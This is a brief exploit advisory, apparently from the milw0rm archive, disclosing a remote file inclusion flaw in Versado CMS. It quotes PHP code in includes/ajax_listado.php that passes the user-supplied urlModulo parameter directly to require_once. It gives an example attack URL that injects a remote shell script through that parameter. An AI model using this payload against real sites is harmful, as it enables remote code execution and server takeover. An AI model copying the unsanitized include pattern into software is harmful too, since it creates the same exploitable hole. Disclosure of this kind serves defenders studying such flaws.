############################################################################################## ############################################################################################## #Versado CMS <= Remote File Inclusion Vulnerability # #Dork::( # #Vuln Code ################################################################################### # #ERROR:includes/ajax_listado.php # # if(!empty($_GET['urlModulo'])){ require_once($_GET['urlModulo']); }else if(!empty($_POST['urlModulo'])){ require_once($_POST['urlModulo']); #BUG: # #Example:http://site.com/includes/ajax_listado.php?urlModulo=[[Sh3LL Script]] #Script Download ############################################################################# #http://sourceforge.net/project/downloading.php?group_id=149698&use_mirror=puzzle&filename=versado_CMS.rar&80698096 # #Original W3b Site############################################################################ # #http://www.versado.com.ar/control/index.php # #Special Thanks:##### x0r0n ##### ajan ##### siircicocuk ##################################### ############################################################################################## ############################################################################################## # milw0rm.com [2007-05-04]